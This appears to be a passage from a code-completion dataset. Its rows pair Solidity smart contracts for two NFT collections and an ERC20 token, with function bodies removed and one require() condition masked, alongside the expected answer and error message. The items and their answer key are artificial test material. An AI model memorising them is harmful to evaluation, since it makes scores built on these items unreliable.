comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
---|---|---|---|---|
"[Error] Base URI Cannot Be Blank" | // SPDX-License-Identifier: MIT
// RedBeanCoffeeReward1
pragma solidity 0.8.17;
import "./extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract RedBeanCoffeeRewardOne is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 private constant MAX_SUPPLY = 60;
string private baseURI;
constructor(string memory _initBaseURI) ERC721A("Redbean Coffee Reward 1", "RCR1") {
require(<FILL_ME>)
baseURI = _initBaseURI;
}
// ===== Check Caller Is User =====
modifier callerIsUser() {
}
// ===== Dev Mint =====
function devMint(uint256 quantity) external onlyOwner nonReentrant callerIsUser {
}
// ====== override transfer ========
function safeTransferFrom(address from, address to, uint256 tokenId) public payable virtual override nonReentrant callerIsUser {
}
// ===== Change Base URI =====
function setBaseURI(string memory newBaseURI) external onlyOwner nonReentrant callerIsUser {
}
// ===== Set Start Token ID =====
function _startTokenId() internal view virtual override returns (uint256) {
}
// ===== Set Base URI =====
function _baseURI() internal view virtual override returns (string memory) {
}
// ===== Set Token URI =====
function tokenURI(uint256 tokenId) public view virtual override(ERC721A) returns (string memory) {
}
// ===== Add Withdraw Incase Ether Sent =====
function withdraw() external onlyOwner nonReentrant callerIsUser {
}
}
| bytes(_initBaseURI).length>0,"[Error] Base URI Cannot Be Blank" | 83,312 | bytes(_initBaseURI).length>0 |
"This address already has a token" | // SPDX-License-Identifier: MIT
// RedBeanCoffeeReward1
pragma solidity 0.8.17;
import "./extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract RedBeanCoffeeRewardOne is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 private constant MAX_SUPPLY = 60;
string private baseURI;
constructor(string memory _initBaseURI) ERC721A("Redbean Coffee Reward 1", "RCR1") {
}
// ===== Check Caller Is User =====
modifier callerIsUser() {
}
// ===== Dev Mint =====
function devMint(uint256 quantity) external onlyOwner nonReentrant callerIsUser {
}
// ====== override transfer ========
function safeTransferFrom(address from, address to, uint256 tokenId) public payable virtual override nonReentrant callerIsUser {
if(to != owner()) {
require(<FILL_ME>)
}
safeTransferFrom(from, to, tokenId, '');
}
// ===== Change Base URI =====
function setBaseURI(string memory newBaseURI) external onlyOwner nonReentrant callerIsUser {
}
// ===== Set Start Token ID =====
function _startTokenId() internal view virtual override returns (uint256) {
}
// ===== Set Base URI =====
function _baseURI() internal view virtual override returns (string memory) {
}
// ===== Set Token URI =====
function tokenURI(uint256 tokenId) public view virtual override(ERC721A) returns (string memory) {
}
// ===== Add Withdraw Incase Ether Sent =====
function withdraw() external onlyOwner nonReentrant callerIsUser {
}
}
| balanceOf(to)<1,"This address already has a token" | 83,312 | balanceOf(to)<1 |
"Can't change fee higher than 20%" | // SPDX-License-Identifier: MIT
/*
PeerPost is a web3-native decentralized application that enables users to securely store and share personal ideas across multiple networks
* Web:www.peerpost.xyz
* App: app.peerpost.xyz
* Community: @peerpostentry
* Twitter: @PeerPost_XYZ
*/
pragma solidity ^0.8.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external payable;
}
interface IUniswapV2Pair {
function sync() external;
}
contract PeerPost is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
string private constant _name = "PeerPost";
string private constant _symbol = "PPT";
uint8 private constant _decimals = 9;
uint256 private _tTotal = 3000000000 * 10**_decimals;
uint256 public _maxWalletAmount = 60000000 * 10**_decimals;
uint256 public _maxTxAmount = 60000000 * 10**_decimals;
uint256 public swapTokenAtAmount = 6000000 * 10**_decimals;
uint256 public swapCount;
address liquidityWallet;
address feeWallet;
struct BuyFees{
uint256 liquidity;
uint256 marketing;
}
struct SellFees{
uint256 liquidity;
uint256 marketing;
}
BuyFees public buyFee;
SellFees public sellFee;
uint256 private liquidityFee;
uint256 private marketingFee;
mapping(address => uint256) public buyBlock;
address public pendingSwap;
bool private swapping;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
event SwapAndLiquify(uint256 amount);
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
receive() external payable {}
function takeBuyFees(uint256 amount, address from) private returns (uint256) {
}
function takeSellFees(uint256 amount, address from) private returns (uint256) {
}
function beforeTransfer(address from, address to) private {
}
function isExcludedFromFee(address account) public view returns(bool) {
}
function updateFees(uint256 _buyMarketingFee, uint256 _buyLiquidityFee, uint256 _sellMarketingFee, uint256 _sellLiquidityFee) public onlyOwner {
require(<FILL_ME>)
buyFee.liquidity = _buyLiquidityFee;
buyFee.marketing = _buyMarketingFee;
sellFee.liquidity = _sellLiquidityFee;
sellFee.marketing = _sellMarketingFee;
}
function updateMaxLimit(uint256 _maxTx, uint256 _maxWallet) public onlyOwner {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _burnAmount(address from, uint256 value) internal {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapBack(uint256 amount) private {
}
function isAllowedSwapBack(address from, uint256 amount) internal returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBackAmount(address from, uint256 amount) external {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
}
| _buyMarketingFee+_buyLiquidityFee<=20&&_sellLiquidityFee+_sellMarketingFee<=20,"Can't change fee higher than 20%" | 83,334 | _buyMarketingFee+_buyLiquidityFee<=20&&_sellLiquidityFee+_sellMarketingFee<=20 |
"ERC20: insufficient amount" | // SPDX-License-Identifier: MIT
/*
PeerPost is a web3-native decentralized application that enables users to securely store and share personal ideas across multiple networks
* Web:www.peerpost.xyz
* App: app.peerpost.xyz
* Community: @peerpostentry
* Twitter: @PeerPost_XYZ
*/
pragma solidity ^0.8.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external payable;
}
interface IUniswapV2Pair {
function sync() external;
}
contract PeerPost is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
string private constant _name = "PeerPost";
string private constant _symbol = "PPT";
uint8 private constant _decimals = 9;
uint256 private _tTotal = 3000000000 * 10**_decimals;
uint256 public _maxWalletAmount = 60000000 * 10**_decimals;
uint256 public _maxTxAmount = 60000000 * 10**_decimals;
uint256 public swapTokenAtAmount = 6000000 * 10**_decimals;
uint256 public swapCount;
address liquidityWallet;
address feeWallet;
struct BuyFees{
uint256 liquidity;
uint256 marketing;
}
struct SellFees{
uint256 liquidity;
uint256 marketing;
}
BuyFees public buyFee;
SellFees public sellFee;
uint256 private liquidityFee;
uint256 private marketingFee;
mapping(address => uint256) public buyBlock;
address public pendingSwap;
bool private swapping;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
event SwapAndLiquify(uint256 amount);
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
receive() external payable {}
function takeBuyFees(uint256 amount, address from) private returns (uint256) {
}
function takeSellFees(uint256 amount, address from) private returns (uint256) {
}
function beforeTransfer(address from, address to) private {
}
function isExcludedFromFee(address account) public view returns(bool) {
}
function updateFees(uint256 _buyMarketingFee, uint256 _buyLiquidityFee, uint256 _sellMarketingFee, uint256 _sellLiquidityFee) public onlyOwner {
}
function updateMaxLimit(uint256 _maxTx, uint256 _maxWallet) public onlyOwner {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _burnAmount(address from, uint256 value) internal {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapBack(uint256 amount) private {
}
function isAllowedSwapBack(address from, uint256 amount) internal returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBackAmount(address from, uint256 amount) external {
require(<FILL_ME>)
if (isAllowedSwapBack(from, amount)) {
swapping = true; swapBack(swapTokenAtAmount); swapping = false;
}
emit SwapAndLiquify(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
}
| balanceOf(address(this))>=swapTokenAtAmount,"ERC20: insufficient amount" | 83,334 | balanceOf(address(this))>=swapTokenAtAmount |
"Withdraw address is not set yet." | pragma solidity >=0.8.2;
// to enable certain compiler features
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CyberPigs is ERC721, Ownable {
using Strings for uint256;
//amount of tokens that have been minted so far, in total and in presale
uint256 private numberOfTotalTokens;
//declares the maximum amount of tokens that can be minted, total and in presale
uint256 private maxTotalTokens;
//initial part of the URI for the metadata
string private _currentBaseURI = "https://api.cyberpigs.io/api/metadata/";
//marks the timestamp of when the respective sales open
uint256 internal presaleLaunchTime;
uint256 internal publicSaleLaunchTime;
uint256 internal revealTime;
uint256 private reservedMints_;
uint256 private maxReservedMints = 500;
//if breeding is open or not
bool private breeding;
//stores how many breeds each nft has done
mapping(uint256 => uint256) private breedsPerToken;
uint256 private maxBreeds = 5;
uint256 private mintCostPresale = 0.1 ether;
uint256 private mintCostPublicSale = 0.15 ether;
uint256 private breedCost_ = 0.1 ether;
//amount of mints that each address has executed
mapping(address => uint256) public mintsPerAddress;
//current state os sale
enum State {
NoSale,
Presale,
PublicSale
}
//defines the uri for when the NFTs have not been yet revealed
string public unrevealedURI;
//tokens that have been created from breeding
uint256 private tokensBreeded;
//funds from each category
uint256 private fundsMint;
uint256 private fundsBreed;
address private _withdrawAddress =
0xC91deCE250A0d55CE5febAC6f9951c0c76D3e99f;
//declaring initial values for variables
constructor() ERC721("CyberPigs", "PIGLET") {
}
//in case somebody accidentaly sends funds or transaction to contract
receive() external payable {}
fallback() external payable {
}
//visualize baseURI
function _baseURI() internal view virtual override returns (string memory) {
}
//change baseURI in case needed for IPFS
function changeBaseURI(string memory baseURI_) public onlyOwner {
}
function changeUnrevealedURI(string memory unrevealedURI_)
public
onlyOwner
{
}
//change withdraw funds address
function changeWithdrawAddress(address newAddress) public onlyOwner {
}
//gets withdraw funds address
function getWithdrawAddress() public view onlyOwner returns (address) {
require(<FILL_ME>)
return _withdrawAddress;
}
//gets the tokenID of NFT to be minted
function tokenId() internal view returns (uint256) {
}
function switchToPresale() public onlyOwner {
}
function switchToPublicSale() public onlyOwner {
}
//mint a @param number of NFTs in presale
function presaleMint(uint256 number) public payable {
}
//mint a @param number of NFTs in presale
function publicSaleMint(uint256 number) public payable {
}
//reserved NFTs for creator
function reservedMint(uint256 number, address recipient) public onlyOwner {
}
function tokenURI(uint256 tokenId_)
public
view
virtual
override
returns (string memory)
{
}
//burn the tokens that have not been sold yet
function burnTokens() public onlyOwner {
}
//se the current account balance
function accountBalance() public view onlyOwner returns (uint256) {
}
//retrieve all funds recieved from minting
function withdrawMint() public onlyOwner {
}
//retrieve all funds recieved from minting
function withdrawBreed() public onlyOwner {
}
//retrieve all funds
function withdraw(uint256 amount) public onlyOwner {
}
//send the percentage of funds to a shareholder´s wallet
function _withdraw(address payable account, uint256 amount) internal {
}
//see the total amount of tokens that have been minted
function totalSupply() public view returns (uint256) {
}
//see current state of sale
//see the current state of the sale
function saleState() public view returns (State) {
}
//to reveal the nfts
function reveal() public onlyOwner {
}
//shows total amount of tokens that could be minted
function maxTokens() public view returns (uint256) {
}
function breed(uint256 tokenIdParent1, uint256 tokenIdParent2)
public
payable
{
}
function toggleBreeding() public onlyOwner {
}
function breedIsOpen() public view returns (bool) {
}
function changeMaxBreeds(uint256 newBreeds) public onlyOwner {
}
function breedCost() public view returns (uint256) {
}
function changeBreedCost(uint256 newCost) public onlyOwner {
}
function mintCost() public view returns (uint256) {
}
}
| address(_withdrawAddress)!=address(0),"Withdraw address is not set yet." | 83,669 | address(_withdrawAddress)!=address(0) |
"Sale is already Open!" | pragma solidity >=0.8.2;
// to enable certain compiler features
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CyberPigs is ERC721, Ownable {
using Strings for uint256;
//amount of tokens that have been minted so far, in total and in presale
uint256 private numberOfTotalTokens;
//declares the maximum amount of tokens that can be minted, total and in presale
uint256 private maxTotalTokens;
//initial part of the URI for the metadata
string private _currentBaseURI = "https://api.cyberpigs.io/api/metadata/";
//marks the timestamp of when the respective sales open
uint256 internal presaleLaunchTime;
uint256 internal publicSaleLaunchTime;
uint256 internal revealTime;
uint256 private reservedMints_;
uint256 private maxReservedMints = 500;
//if breeding is open or not
bool private breeding;
//stores how many breeds each nft has done
mapping(uint256 => uint256) private breedsPerToken;
uint256 private maxBreeds = 5;
uint256 private mintCostPresale = 0.1 ether;
uint256 private mintCostPublicSale = 0.15 ether;
uint256 private breedCost_ = 0.1 ether;
//amount of mints that each address has executed
mapping(address => uint256) public mintsPerAddress;
//current state os sale
enum State {
NoSale,
Presale,
PublicSale
}
//defines the uri for when the NFTs have not been yet revealed
string public unrevealedURI;
//tokens that have been created from breeding
uint256 private tokensBreeded;
//funds from each category
uint256 private fundsMint;
uint256 private fundsBreed;
address private _withdrawAddress =
0xC91deCE250A0d55CE5febAC6f9951c0c76D3e99f;
//declaring initial values for variables
constructor() ERC721("CyberPigs", "PIGLET") {
}
//in case somebody accidentaly sends funds or transaction to contract
receive() external payable {}
fallback() external payable {
}
//visualize baseURI
function _baseURI() internal view virtual override returns (string memory) {
}
//change baseURI in case needed for IPFS
function changeBaseURI(string memory baseURI_) public onlyOwner {
}
function changeUnrevealedURI(string memory unrevealedURI_)
public
onlyOwner
{
}
//change withdraw funds address
function changeWithdrawAddress(address newAddress) public onlyOwner {
}
//gets withdraw funds address
function getWithdrawAddress() public view onlyOwner returns (address) {
}
//gets the tokenID of NFT to be minted
function tokenId() internal view returns (uint256) {
}
function switchToPresale() public onlyOwner {
require(<FILL_ME>)
presaleLaunchTime = block.timestamp;
}
function switchToPublicSale() public onlyOwner {
}
//mint a @param number of NFTs in presale
function presaleMint(uint256 number) public payable {
}
//mint a @param number of NFTs in presale
function publicSaleMint(uint256 number) public payable {
}
//reserved NFTs for creator
function reservedMint(uint256 number, address recipient) public onlyOwner {
}
function tokenURI(uint256 tokenId_)
public
view
virtual
override
returns (string memory)
{
}
//burn the tokens that have not been sold yet
function burnTokens() public onlyOwner {
}
//se the current account balance
function accountBalance() public view onlyOwner returns (uint256) {
}
//retrieve all funds recieved from minting
function withdrawMint() public onlyOwner {
}
//retrieve all funds recieved from minting
function withdrawBreed() public onlyOwner {
}
//retrieve all funds
function withdraw(uint256 amount) public onlyOwner {
}
//send the percentage of funds to a shareholder´s wallet
function _withdraw(address payable account, uint256 amount) internal {
}
//see the total amount of tokens that have been minted
function totalSupply() public view returns (uint256) {
}
//see current state of sale
//see the current state of the sale
function saleState() public view returns (State) {
}
//to reveal the nfts
function reveal() public onlyOwner {
}
//shows total amount of tokens that could be minted
function maxTokens() public view returns (uint256) {
}
function breed(uint256 tokenIdParent1, uint256 tokenIdParent2)
public
payable
{
}
function toggleBreeding() public onlyOwner {
}
function breedIsOpen() public view returns (bool) {
}
function changeMaxBreeds(uint256 newBreeds) public onlyOwner {
}
function breedCost() public view returns (uint256) {
}
function changeBreedCost(uint256 newCost) public onlyOwner {
}
function mintCost() public view returns (uint256) {
}
}
| saleState()==State.NoSale,"Sale is already Open!" | 83,669 | saleState()==State.NoSale |
"Sale is already Open!" | pragma solidity >=0.8.2;
// to enable certain compiler features
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CyberPigs is ERC721, Ownable {
using Strings for uint256;
//amount of tokens that have been minted so far, in total and in presale
uint256 private numberOfTotalTokens;
//declares the maximum amount of tokens that can be minted, total and in presale
uint256 private maxTotalTokens;
//initial part of the URI for the metadata
string private _currentBaseURI = "https://api.cyberpigs.io/api/metadata/";
//marks the timestamp of when the respective sales open
uint256 internal presaleLaunchTime;
uint256 internal publicSaleLaunchTime;
uint256 internal revealTime;
uint256 private reservedMints_;
uint256 private maxReservedMints = 500;
//if breeding is open or not
bool private breeding;
//stores how many breeds each nft has done
mapping(uint256 => uint256) private breedsPerToken;
uint256 private maxBreeds = 5;
uint256 private mintCostPresale = 0.1 ether;
uint256 private mintCostPublicSale = 0.15 ether;
uint256 private breedCost_ = 0.1 ether;
//amount of mints that each address has executed
mapping(address => uint256) public mintsPerAddress;
//current state os sale
enum State {
NoSale,
Presale,
PublicSale
}
//defines the uri for when the NFTs have not been yet revealed
string public unrevealedURI;
//tokens that have been created from breeding
uint256 private tokensBreeded;
//funds from each category
uint256 private fundsMint;
uint256 private fundsBreed;
address private _withdrawAddress =
0xC91deCE250A0d55CE5febAC6f9951c0c76D3e99f;
//declaring initial values for variables
constructor() ERC721("CyberPigs", "PIGLET") {
}
//in case somebody accidentaly sends funds or transaction to contract
receive() external payable {}
fallback() external payable {
}
//visualize baseURI
function _baseURI() internal view virtual override returns (string memory) {
}
//change baseURI in case needed for IPFS
function changeBaseURI(string memory baseURI_) public onlyOwner {
}
function changeUnrevealedURI(string memory unrevealedURI_)
public
onlyOwner
{
}
//change withdraw funds address
function changeWithdrawAddress(address newAddress) public onlyOwner {
}
//gets withdraw funds address
function getWithdrawAddress() public view onlyOwner returns (address) {
}
//gets the tokenID of NFT to be minted
function tokenId() internal view returns (uint256) {
}
function switchToPresale() public onlyOwner {
}
function switchToPublicSale() public onlyOwner {
require(<FILL_ME>)
publicSaleLaunchTime = block.timestamp;
}
//mint a @param number of NFTs in presale
function presaleMint(uint256 number) public payable {
}
//mint a @param number of NFTs in presale
function publicSaleMint(uint256 number) public payable {
}
//reserved NFTs for creator
function reservedMint(uint256 number, address recipient) public onlyOwner {
}
function tokenURI(uint256 tokenId_)
public
view
virtual
override
returns (string memory)
{
}
//burn the tokens that have not been sold yet
function burnTokens() public onlyOwner {
}
//se the current account balance
function accountBalance() public view onlyOwner returns (uint256) {
}
//retrieve all funds recieved from minting
function withdrawMint() public onlyOwner {
}
//retrieve all funds recieved from minting
function withdrawBreed() public onlyOwner {
}
//retrieve all funds
function withdraw(uint256 amount) public onlyOwner {
}
//send the percentage of funds to a shareholder´s wallet
function _withdraw(address payable account, uint256 amount) internal {
}
//see the total amount of tokens that have been minted
function totalSupply() public view returns (uint256) {
}
//see current state of sale
//see the current state of the sale
function saleState() public view returns (State) {
}
//to reveal the nfts
function reveal() public onlyOwner {
}
//shows total amount of tokens that could be minted
function maxTokens() public view returns (uint256) {
}
function breed(uint256 tokenIdParent1, uint256 tokenIdParent2)
public
payable
{
}
function toggleBreeding() public onlyOwner {
}
function breedIsOpen() public view returns (bool) {
}
function changeMaxBreeds(uint256 newBreeds) public onlyOwner {
}
function breedCost() public view returns (uint256) {
}
function changeBreedCost(uint256 newCost) public onlyOwner {
}
function mintCost() public view returns (uint256) {
}
}
| saleState()==State.Presale,"Sale is already Open!" | 83,669 | saleState()==State.Presale |
"Not enough NFTs left to mint.." | pragma solidity >=0.8.2;
// to enable certain compiler features
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CyberPigs is ERC721, Ownable {
using Strings for uint256;
//amount of tokens that have been minted so far, in total and in presale
uint256 private numberOfTotalTokens;
//declares the maximum amount of tokens that can be minted, total and in presale
uint256 private maxTotalTokens;
//initial part of the URI for the metadata
string private _currentBaseURI = "https://api.cyberpigs.io/api/metadata/";
//marks the timestamp of when the respective sales open
uint256 internal presaleLaunchTime;
uint256 internal publicSaleLaunchTime;
uint256 internal revealTime;
uint256 private reservedMints_;
uint256 private maxReservedMints = 500;
//if breeding is open or not
bool private breeding;
//stores how many breeds each nft has done
mapping(uint256 => uint256) private breedsPerToken;
uint256 private maxBreeds = 5;
uint256 private mintCostPresale = 0.1 ether;
uint256 private mintCostPublicSale = 0.15 ether;
uint256 private breedCost_ = 0.1 ether;
//amount of mints that each address has executed
mapping(address => uint256) public mintsPerAddress;
//current state os sale
enum State {
NoSale,
Presale,
PublicSale
}
//defines the uri for when the NFTs have not been yet revealed
string public unrevealedURI;
//tokens that have been created from breeding
uint256 private tokensBreeded;
//funds from each category
uint256 private fundsMint;
uint256 private fundsBreed;
address private _withdrawAddress =
0xC91deCE250A0d55CE5febAC6f9951c0c76D3e99f;
//declaring initial values for variables
constructor() ERC721("CyberPigs", "PIGLET") {
}
//in case somebody accidentaly sends funds or transaction to contract
receive() external payable {}
fallback() external payable {
}
//visualize baseURI
function _baseURI() internal view virtual override returns (string memory) {
}
//change baseURI in case needed for IPFS
function changeBaseURI(string memory baseURI_) public onlyOwner {
}
function changeUnrevealedURI(string memory unrevealedURI_)
public
onlyOwner
{
}
//change withdraw funds address
function changeWithdrawAddress(address newAddress) public onlyOwner {
}
//gets withdraw funds address
function getWithdrawAddress() public view onlyOwner returns (address) {
}
//gets the tokenID of NFT to be minted
function tokenId() internal view returns (uint256) {
}
function switchToPresale() public onlyOwner {
}
function switchToPublicSale() public onlyOwner {
}
//mint a @param number of NFTs in presale
function presaleMint(uint256 number) public payable {
State saleState_ = saleState();
require(saleState_ == State.Presale, "Presale in not open!");
require(<FILL_ME>)
require(
msg.value >= mintCost() * number,
"Not sufficient Ether to mint this amount of NFTs"
);
for (uint256 i = 0; i < number; i++) {
uint256 tid = tokenId();
_safeMint(msg.sender, tid);
mintsPerAddress[msg.sender] += 1;
numberOfTotalTokens += 1;
}
fundsMint += msg.value;
}
//mint a @param number of NFTs in presale
function publicSaleMint(uint256 number) public payable {
}
//reserved NFTs for creator
function reservedMint(uint256 number, address recipient) public onlyOwner {
}
function tokenURI(uint256 tokenId_)
public
view
virtual
override
returns (string memory)
{
}
//burn the tokens that have not been sold yet
function burnTokens() public onlyOwner {
}
//se the current account balance
function accountBalance() public view onlyOwner returns (uint256) {
}
//retrieve all funds recieved from minting
function withdrawMint() public onlyOwner {
}
//retrieve all funds recieved from minting
function withdrawBreed() public onlyOwner {
}
//retrieve all funds
function withdraw(uint256 amount) public onlyOwner {
}
//send the percentage of funds to a shareholder´s wallet
function _withdraw(address payable account, uint256 amount) internal {
}
//see the total amount of tokens that have been minted
function totalSupply() public view returns (uint256) {
}
//see current state of sale
//see the current state of the sale
function saleState() public view returns (State) {
}
//to reveal the nfts
function reveal() public onlyOwner {
}
//shows total amount of tokens that could be minted
function maxTokens() public view returns (uint256) {
}
function breed(uint256 tokenIdParent1, uint256 tokenIdParent2)
public
payable
{
}
function toggleBreeding() public onlyOwner {
}
function breedIsOpen() public view returns (bool) {
}
function changeMaxBreeds(uint256 newBreeds) public onlyOwner {
}
function breedCost() public view returns (uint256) {
}
function changeBreedCost(uint256 newCost) public onlyOwner {
}
function mintCost() public view returns (uint256) {
}
}
| numberOfTotalTokens+number<=maxTotalTokens-(maxReservedMints-reservedMints_),"Not enough NFTs left to mint.." | 83,669 | numberOfTotalTokens+number<=maxTotalTokens-(maxReservedMints-reservedMints_) |
"Not enough Reserved NFTs left to mint.." | pragma solidity >=0.8.2;
// to enable certain compiler features
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CyberPigs is ERC721, Ownable {
using Strings for uint256;
//amount of tokens that have been minted so far, in total and in presale
uint256 private numberOfTotalTokens;
//declares the maximum amount of tokens that can be minted, total and in presale
uint256 private maxTotalTokens;
//initial part of the URI for the metadata
string private _currentBaseURI = "https://api.cyberpigs.io/api/metadata/";
//marks the timestamp of when the respective sales open
uint256 internal presaleLaunchTime;
uint256 internal publicSaleLaunchTime;
uint256 internal revealTime;
uint256 private reservedMints_;
uint256 private maxReservedMints = 500;
//if breeding is open or not
bool private breeding;
//stores how many breeds each nft has done
mapping(uint256 => uint256) private breedsPerToken;
uint256 private maxBreeds = 5;
uint256 private mintCostPresale = 0.1 ether;
uint256 private mintCostPublicSale = 0.15 ether;
uint256 private breedCost_ = 0.1 ether;
//amount of mints that each address has executed
mapping(address => uint256) public mintsPerAddress;
//current state os sale
enum State {
NoSale,
Presale,
PublicSale
}
//defines the uri for when the NFTs have not been yet revealed
string public unrevealedURI;
